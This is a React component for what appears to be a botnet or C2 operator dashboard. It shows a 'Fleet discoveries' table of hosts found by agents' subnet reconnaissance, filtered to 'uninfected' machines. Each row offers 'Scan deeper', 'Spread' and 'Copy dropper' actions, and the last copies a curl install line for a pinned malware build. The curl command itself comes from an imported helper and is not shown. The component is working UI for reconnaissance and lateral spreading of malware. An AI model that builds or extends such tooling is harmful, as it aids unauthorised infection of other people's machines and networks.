import { memo, useCallback, useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { DiscoveredHost, DiscoveredHostRow, ReconScanReport } from '../../types/recon';
import { HelpTip } from '../HelpTip';
import { crucibleSpreadLink, curlInstallLine } from '../../help/deployRecon';
import {
  DEFAULT_DISCOVERY_FILTERS,
  discoveryStatusLabel,
  discoverySubnetOptions,
  filterDiscoveryRows,
  fmtDiscoveryTime,
  manualScanToDiscovery,
  mergeDiscoveryRows,
  parseSubnetDiscoveryUpdate,
  type DiscoveryFilters,
} from '../../help/fleetDiscoveries';
import { useWebSocket } from '../../hooks/useWebSocket';

function CopyChip({ text, label }: { text: string; label: string }) {
  const [ok, setOk] = useState(false);
  const copy = () => {
    void navigator.clipboard?.writeText(text).then(() => {
      setOk(true);
      setTimeout(() => setOk(false), 1500);
    }).catch(() => {});
  };
  return (
    <button type="button" className="btn btn-outline btn-sm" onClick={copy}>
      {ok ? 'Copied' : label}
    </button>
  );
}

function reporterLabel(row: DiscoveredHostRow, agents: Agent[]): string {
  if (row.source === 'manual') return 'Manual scan';
  if (!row.reporter_agent_id) return '—';
  const agent = agents.find((a) => a.id === row.reporter_agent_id);
  return agent?.name || agent?.hostname || row.reporter_agent_id.slice(0, 8);
}

const DiscoveryRow = memo(function DiscoveryRow({
  row,
  agents,
  serverBase,
  pinnedBuildId,
  onScanDeeper,
  scanningIp,
}: {
  row: DiscoveredHostRow;
  agents: Agent[];
  serverBase: string;
  pinnedBuildId: string;
  onScanDeeper: (ip: string) => void;
  scanningIp: string;
}) {
  const dropper = useMemo(
    () => curlInstallLine(serverBase, pinnedBuildId),
    [serverBase, pinnedBuildId],
  );
  const uninfected = row.status === 'uninfected';

  return (
    <tr data-testid={`dr-discovery-row-${row.ip}`}>
      <td className="dr-disc-ip font-tech">{row.ip}</td>
      <td>
        <div className="dr-disc-ports">
          {row.open_ports.length === 0 ? (
            <span className="dr-disc-port muted">—</span>
          ) : (
            row.open_ports.map((p) => (
              <span key={p} className="dr-disc-port open">
                {p}
              </span>
            ))
          )}
        </div>
      </td>
      <td className="dr-disc-reporter">{reporterLabel(row, agents)}</td>
      <td className="dr-disc-subnet">{row.subnet_prefix || '—'}</td>
      <td className="dr-disc-seen">{fmtDiscoveryTime(row.last_seen)}</td>
      <td>
        <span
          className={`dr-disc-badge${uninfected ? ' uninfected' : ''}`}
          data-testid={`dr-badge-${row.ip}`}
        >
          {discoveryStatusLabel(row)}
        </span>
      </td>
      <td>
        <div className="dr-disc-actions">
          <button
            type="button"
            className="btn btn-outline btn-sm"
            disabled={scanningIp === row.ip}
            onClick={() => onScanDeeper(row.ip)}
          >
            {scanningIp === row.ip ? 'Scanning…' : 'Scan deeper'}
          </button>
          <Link to={crucibleSpreadLink(row.ip)} className="btn btn-outline btn-sm">
            Spread
          </Link>
          <CopyChip text={dropper} label="Copy dropper" />
        </div>
      </td>
    </tr>
  );
});

export interface FleetDiscoveriesPanelProps {
  manualScans: ReconScanReport[];
  onScanDeeper: (ip: string) => void;
  scanningIp: string;
  serverBase: string;
  pinnedBuildId: string;
}

export default function FleetDiscoveriesPanel({
  manualScans,
  onScanDeeper,
  scanningIp,
  serverBase,
  pinnedBuildId,
}: FleetDiscoveriesPanelProps) {
  const { latestMessage, agents } = useWebSocket();
  const [agentHosts, setAgentHosts] = useState<DiscoveredHost[]>([]);
  const [loading, setLoading] = useState(true);
  const [apiMissing, setApiMissing] = useState(false);
  const [filters, setFilters] = useState<DiscoveryFilters>(DEFAULT_DISCOVERY_FILTERS);

  const load = useCallback(async () => {
    try {
      const data = await api.getDiscoveredHosts({ status: 'uninfected' });
      if (!data) {
        setApiMissing(true);
        setAgentHosts([]);
        return;
      }
      setApiMissing(false);
      setAgentHosts(data.hosts ?? []);
    } catch {
      setApiMissing(true);
    } finally {
      setLoading(false);
    }
  }, []);

  useEffect(() => {
    void load();
  }, [load]);

  useEffect(() => {
    if (!latestMessage || latestMessage.type !== 'subnet_discovery_update') return;
    const incoming = parseSubnetDiscoveryUpdate(latestMessage.payload);
    if (incoming.length === 0) return;
    setAgentHosts((prev) => {
      const map = new Map(prev.map((h) => [h.ip, h]));
      for (const h of incoming) {
        const old = map.get(h.ip);
        if (!old) {
          map.set(h.ip, h);
          continue;
        }
        map.set(h.ip, {
          ...old,
          ...h,
          open_ports: [...new Set([...old.open_ports, ...h.open_ports])].sort((a, b) => a - b),
        });
      }
      return [...map.values()];
    });
    setApiMissing(false);
    setLoading(false);
  }, [latestMessage]);

  const manualHosts = useMemo(
    () => manualScans.map(manualScanToDiscovery),
    [manualScans],
  );

  const merged = useMemo(
    () => mergeDiscoveryRows(agentHosts, manualHosts),
    [agentHosts, manualHosts],
  );

  const subnetOptions = useMemo(() => discoverySubnetOptions(merged), [merged]);

  const filtered = useMemo(
    () => filterDiscoveryRows(merged, filters),
    [merged, filters],
  );

  return (
    <section className="neon-card dr-fleet-discoveries" aria-label="Fleet discoveries">
      <div className="dr-fleet-head">
        <h2 className="dr-section-title" style={{ margin: 0 }}>
          Fleet discoveries <HelpTip field="dr_fleet_discoveries" />
        </h2>
        <span className="dr-fleet-count" data-testid="dr-discovery-count">
          {filtered.length} uninfected
        </span>
      </div>

      <div className="dr-fleet-filters">
        <label className="dr-field">
          <span>Subnet <HelpTip field="dr_fleet_subnet_filter" /></span>
          <select
            className="input"
            value={filters.subnet}
            onChange={(e) => setFilters((f) => ({ ...f, subnet: e.target.value }))}
            data-testid="dr-subnet-filter"
          >
            <option value="">All subnets</option>
            {subnetOptions.map((s) => (
              <option key={s} value={s}>
                {s}
              </option>
            ))}
          </select>
        </label>
        <label className="dr-field">
          <span>Has port <HelpTip field="dr_fleet_port_filter" /></span>
          <input
            className="input"
            type="number"
            min={1}
            max={65535}
            placeholder="e.g. 22"
            value={filters.port}
            onChange={(e) => setFilters((f) => ({ ...f, port: e.target.value }))}
            data-testid="dr-port-filter"
          />
        </label>
        <label className="dr-field">
          <span>Sort <HelpTip field="dr_fleet_sort" /></span>
          <select
            className="input"
            value={filters.sort}
            onChange={(e) =>
              setFilters((f) => ({ ...f, sort: e.target.value as DiscoveryFilters['sort'] }))
            }
            data-testid="dr-sort-filter"
          >
            <option value="last_seen_desc">Last seen ↓</option>
            <option value="last_seen_asc">Last seen ↑</option>
            <option value="ip_asc">IP A→Z</option>
          </select>
        </label>
      </div>

      {loading ? (
        <p className="dr-empty">Loading agent discoveries…</p>
      ) : filtered.length === 0 ? (
        <p className="dr-empty" data-testid="dr-discovery-empty">
          {apiMissing && manualHosts.length === 0
            ? 'No discoveries yet — run a manual scan or wait for agent subnet recon.'
            : 'No hosts match filters. Try clearing subnet/port filters or run Scan on a target.'}
        </p>
      ) : (
        <div className="dr-disc-table-wrap">
          <table className="dr-disc-table" aria-label="Discovered uninfected hosts">
            <thead>
              <tr>
                <th>IP</th>
                <th>Open ports</th>
                <th>Reporter</th>
                <th>Subnet</th>
                <th>Last seen</th>
                <th>Status</th>
                <th>Actions</th>
              </tr>
            </thead>
            <tbody>
              {filtered.map((row) => (
                <DiscoveryRow
                  key={row.ip}
                  row={row}
                  agents={agents}
                  serverBase={serverBase}
                  pinnedBuildId={pinnedBuildId}
                  onScanDeeper={onScanDeeper}
                  scanningIp={scanningIp}
                />
              ))}
            </tbody>
          </table>
        </div>
      )}
    </section>
  );
}
